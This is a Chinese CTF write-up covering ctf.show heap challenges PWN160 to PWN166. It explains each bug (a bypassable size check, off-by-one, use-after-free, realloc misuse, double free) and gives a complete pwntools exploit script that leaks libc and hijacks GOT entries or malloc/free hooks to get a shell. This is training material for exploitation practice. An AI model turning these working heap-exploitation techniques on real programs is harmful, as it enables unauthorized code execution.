嘿嘿嘿!还是先摆在这里,有时间就更新。
PWN160
先分析一波
这里free函数和show函数都没有什么问题,add()函数的前半段没有什么问题,问题出在edit()函数中。

红色圈起来的就是漏洞点了。
这里是进行地址的判断,不要分析错了。因为我们add()的时候会创建2个chunk,第一个是我们要创建的chunk,第二个是系统要创建的chunk。
这段代码的主要意思就是,我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4
首先先创建3个chunk,如下
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")

现在分析就是,这段代码意思是0x8ee0008+size >= 0x8ee0090-0x4时就会报错退出。
这表明上是防止了堆溢出,但如果我们将系统创建的chunk和我们创建的chunk分开,那么就能绕过这个判断
绕过代码如下:
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")
free(0)
add(0x100,b"vvvv",0x100,b"gggg")
重新申请后堆的分布就变了,我们创建的chunk在最顶部,而系统创建的chunk在最下面。那么就能绕过 我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4这个判断。

剩下的自己动手调试。
完整exp
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28294)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_32.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data,size1,data1):
sla(b"Action: ",b"0")
ru(b"size of description: ")
sl(str(size))
ru(b"name: ")
sl(data)
ru(b"text length: ")
sl(str(size1))
ru(b"text: ")
sl(data1)
def free(idx):
sla(b"Action: ",b"1")
sla(b"index: ",str(idx))
def show(idx):
sla(b"Action: ",b"2")
sla(b"index: ",str(idx))
def edit(idx,size,data):
sla(b"Action: ",b"3")
sla(b"index: ",str(idx))
ru(b"text length: ")
sl(str(size))
ru(b"text: ")
sl(data)
free_got = elf.got['free']
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")
free(0)
add(0x100,b"vvvv",0x100,b"gggg")
edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)
# gdb.attach(io)
itr()
PWN161
直接从漏洞点也就是edit()函数开始分析吧。
如下图:


如上图红色标注的就是漏洞点,并不难理解,就是当我们编辑chunk时再次输入的大小减去这个chunk之前创建时输入的大小,如果两者相减为10那么就会导致我们可以多输入一个字节。这就形成了off-by-one漏洞
off-by-one漏洞你们可以自己去网上搜索怎么利用。我这里是用堆叠泄露出libc的地址,然后改写malloc_hook
最终exp如下。
一定一定一定要自己动手调试!!!
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28183)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
sla(b"Choice: ",b"1")
sla(b"size: ",str(size))
def edit(idx,size,data):
sla(b"Choice: ",b"2")
ru(b"index: ")
sl(str(idx))
ru(b"size: ")
sl(str(size))
ru(b"content: ")
s(data)
def free(idx):
sla(b"Choice: ",b"3")
sla(b"index: ",str(idx))
def show(idx):
sla(b"Choice: ",b"4")
sla(b"index: ",str(idx))
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x88)
show(2)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]
one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))
payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)
payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)
# gdb.attach(io)
itr()
PWN162
高考完还有练车,太悲催了!!!!
本题知识点: 劫持_IO_2_1_stdout_泄露libc,UAF
还是老样子,保护全开。
本题只有两个实际可以用的函数,一个是add函数,一个是delete函数,这里的view函数看似无用实则有大用。下面开始分析。
#add函数

反汇编代码不难理解,给我们分配了两个堆一个是0x28系统分的,一个是我们要的。这里无漏洞
#delete

这里free了之后没有把指针清空,存在UAF漏洞,但又与平常的UAF不同,这里还把FD指针给置0了。所以再我们拿到unsortedbin之后的main_arean地址时不能按常规方法使用double free。
因为这里要利用_IO_2_1_stdout_泄露libc,所以要能知道stdout的偏移。直接把我们的libc拖到ida中就能查看。

下面开始讲解解题过程。
offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa") #0
add(0x68,b"aaaa",b"aaaa") #1
add(0x68,b"aaaa",b"aaaa") #2
add(0x7f,b"aaaa",b"aaaa") #3
add(0x18,b"aaaa",b"aaaa") #4
free(0)
free(3)
下面会解释为什么是0xdd0x55
调试结果如下

然后在运行如下代码
add(0x60,offset,offset) #5
free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0") #6
add(0x68,b"\xd0",b"\xd0") #7
add(0x68,b"\xd0",b"\xd0") #8
add(0x68,b"\xd0",b"\xd0") #9
这里写0xd0是因为我们不能直接double free来写fd指针,因为free时把我们的fd会清空写了也是白写。然后写0xd0相当于我们伪造了FD指向的chunk。
如下图

这里也是指向了以0xd0结尾的chunk,说明我们伪造成功了。
接下来
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
这里我可以看到我们成功写到了_IO_stdout附近

然后我们再来看\xdd\x55处的情况

这就是我们申请到的地方,可以看到我们已经改写成功了。至于为什么是\xdd\x55,如下图

这里可以看到stdout后三位是0x620,这三位是不变的,但我们fastbin attack时会检查size位,所以我们不能把地址申请到这里,但如果将chunk申请到0x620-0x43处,会如何,如下图

这样看到正是\xdd处,所以\xdd\x55是算出来的当然也不一定要是这个也可以是\xdd\x75等等但必须保证最后三位是0x5dd。

这里看着好像除了flag都没改,其实已经改过了,具体的可以b _int_malloc 然后fin去看
p _IO_list_all
p (*(struct _IO_FILE_plus *)0x7f4188fc5540)
p (*(struct _IO_jump_t *)(0x556306725500+0xd8))
接下来就是正常的流程了,和前几题一样
完整的EXP是(本地的):
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28237)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
def add(size,data,data1):
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(size))
sa(b"daniu's name:",data)
sa(b"daniu's message:",data1)
sl(b"2")
def free(idx):
sla(b"Your choice : ",b"3")
sla(b"daniu's index:",str(idx))
#==================================================================================
#利用_IO_file泄露libc地址
offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa") #0
add(0x68,b"aaaa",b"aaaa") #1
add(0x68,b"aaaa",b"aaaa") #2
add(0x7f,b"aaaa",b"aaaa") #3
add(0x18,b"aaaa",b"aaaa") #4
free(0)
free(3)
add(0x60,offset,offset) #5
free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0") #6
add(0x68,b"\xd0",b"\xd0") #7
add(0x68,b"\xd0",b"\xd0") #8
add(0x68,b"\xd0",b"\xd0") #9
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_base-libc.sym['_IO_2_1_stderr_'] - 192
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
print("libc_base------------------>: ",hex(libc_base))
sla(b"daniu's message:",b"1")
#================================================================================
#利用double free改fd指针,使其指向我们伪造的fake_chunk
free(1)
free(2)
free(1)
add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")
#===============================================================================
#shell
add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
sla(b"Your choice : ",b"1")
itr()
注意这是我本地打的,远程打的自己要换libc。而且这是1/16的概率。
要一直打才能成功。本人至少打了30多次才成功比较概率太小了。
PWN163
和pwn161一样的题。
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28258)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
sla(b"Command: ",b"1")
sla(b"Size: ",str(size))
def edit(idx,data):
sla(b"Command: ",b"2")
sla(b"Index: ",str(idx))
sla(b"Size: ",str(len(data)))
ru(b"Content: ")
sl(data)
def free(idx):
sla(b"Command: ",b"3")
sla(b"Index: ",str(idx))
def show(idx):
sla(b"Command: ",b"4")
sla(b"Index: ",str(idx))
add(0x40)
add(0x40)
add(0x40)
add(0x60)
payload = b"a"*0x40+p64(0)+p64(0xa1)
edit(0,payload)
free(1)
add(0x40)
show(2)
main_arean = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arean-0x10-88
libc_base = malloc_hook-libc.sym['__malloc_hook']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
realloc = libc_base+libc.sym['realloc']
print("libc_base------------_>>: ",hex(libc_base))
free(3)
edit(2,b"a"*0x40+p64(0)+p64(0x71)+p64(fake_chunk))
add(0x60)
add(0x60)
edit(4,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc+8))
add(0x10)
itr()
PWN164
这题用的是realloc分配内存。
realloc(void* ptr, size_t size)
关于realloc有几个重要的知识点。
- 当void* ptr 为空(0)时,相当于 malloc 函数,直接返回内存地址。
- 当size_t size 为0时时,相当于 free 函数,一定程度上可以防止合并。
- 当new size_t size 小于 等于原来的size_t size,则在原先的基础上缩小,多余的free掉
- 当new size_t size 大于 原来的** size_t size**,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉
关于 realloc的详细介绍,看这位大佬的blog: realloc相关知识点
解题
本题就两个函数一个realloc,一个free函数。很简单
在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的的chunk都会写在在
realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢
利用思路就是:
通过realloc,和UAF,布局tcache。然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,然后打free_hook
首先:
offset = b"\x60\xc7"
add(0x20,b"a") #chunk0,这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
add(0,b"")
add(0x90,b"a")
add(0,b"")
add(0x10,b"a") #这个是为了防止与topchunk合并
add(0,b"")
其次:
add(0x90,b"a")
for i in range(7):
free()
add(0,b"")

这里首先将0x90的地址申请回来, 赋值给realloc_ptr , 在通过uaf,tcache double free 7次,填满tcache bins。然后再free第8次也就是add(0,b"")使0x90进入unsorted bin。把main_arena链进来
至于第8次为什么使用realloc来free,为不是直接用free函数?
因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面chunk的使用
add(0x20,b"aaa")
然后把chunk0,申请回来,之后我们在申请一个0x50大小的chunk,由realloc机制可以知道会先在chunk0的基础上扩展0x30的大小,然后把原来的内存free掉。
申请的0x50是因为能刚好申请到更改unsortedbin的范围
payload = p64(0)*5+p64(0x81)+offset #这里写0x81是为了后面我们申请回0xa0的chunk后,再次add(0,b"")时它不会进入0xa0大小的bins
add(0x50,payload)


这里可以看到也是成功改成了_IO_2_1_stdout_的地址了
然后:
add(0,b"")
add(0x90,b"aa")
add(0,b"")
payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
add(0x90,payload)

这里利用IO把_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,我这里是\x00也就是0x00007f518f7ec700这个位置的内容,如图圈起来的就是泄露出来的地址。
计算libc的地址
#######################################################
# Leak libc
libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_addr+0x40-libc.sym['__malloc_initialize_hook']
free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']
print("libc_base------------>: ",hex(libc_base))
之后就是仿照上面的内容,重新构造double free来打free hook
##attack
sla(b"Choice:",b"1433233")
add(0x30,b"a")
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0x10,b"a")
add(0,b"")
add(0xa0,b"a")
for i in range(7):
free()
add(0,b"")
add(0x30,b"aaa")
payload = p64(0)*7+p64(0x81)+p64(free_hook-8)
add(0x80,payload)
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0xa0,b"/bin/sh;"+p64(system_addr))
free()
完整的exp为:
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28203)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.27.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data):
sla(b"Choice:",b"1")
sla(b"Size?",str(size))
ru(b"Content?")
s(data)
def free():
sla(b"Choice:",b"2")
def pwn():
offset = b"\x60\xc7"
add(0x20,b"a") #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
add(0,b"")
add(0x90,b"a")
add(0,b"")
add(0x10,b"a")
add(0,b"")
add(0x90,b"a")
for i in range(7):
free()
add(0,b"")
add(0x20,b"aaa")
payload = p64(0)*5+p64(0x81)+offset
add(0x50,payload)
#######################################################
# Leak libc
add(0,b"")
add(0x90,b"aa")
add(0,b"")
payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
add(0x90,payload)
libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_addr+0x40-libc.sym['__malloc_initialize_hook']
free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']
print("libc_base------------>: ",hex(libc_base))
##attack
sla(b"Choice:",b"1433233")
add(0x30,b"a")
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0x10,b"a")
add(0,b"")
add(0xa0,b"a")
for i in range(7):
free()
add(0,b"")
add(0x30,b"aaa")
payload = p64(0)*7+p64(0x81)+p64(free_hook-8)
add(0x80,payload)
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0xa0,b"/bin/sh;"+p64(system_addr))
free()
# gdb.attach(io)
pwn()
itr()
PWN165
(最近一直练车,一练就是一整天,太累了。要动脑子的题就先不做。以后再说。)
PWN166
很基础的double free。最多10分钟就能搞定。不懂的自己百度double free。
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28138)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data,idx):
sla("Input your choice:",b"1")
sla(b"Please input the size of the flag",str(size))
ru(b"please input the flag name:")
s(data)
sla(b"please input the flag idx:",str(idx))
def show(idx):
sla("Input your choice:",b"2")
sla(b"Please input the index:",str(idx))
def edit():
sla("Input your choice:",b"3")
def free(idx):
sla("Input your choice:",b"4")
sla(b"Please input the index:",str(idx))
add(0x80,b"aaaa",0)
add(0x60,b"aaaa",1)
add(0x60,b"aaaa",2)
free(0)
add(0x60,b"\x78",3)
show(3)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
fake_chunk = malloc_hook-0x23
libc_base = malloc_hook-libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
one_gadget = libc_base+gadget[3]
print(b"libc_base-------------_<: ",hex(libc_base))
free(1)
free(2)
free(1)
add(0x60,p64(fake_chunk),4)
add(0x60,b"aaaaa",5)
add(0x60,b"aaaaa",6)
add(0x60,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),7)
sla("Input your choice:",b"1")
# gdb.attach(io)
itr()
1547





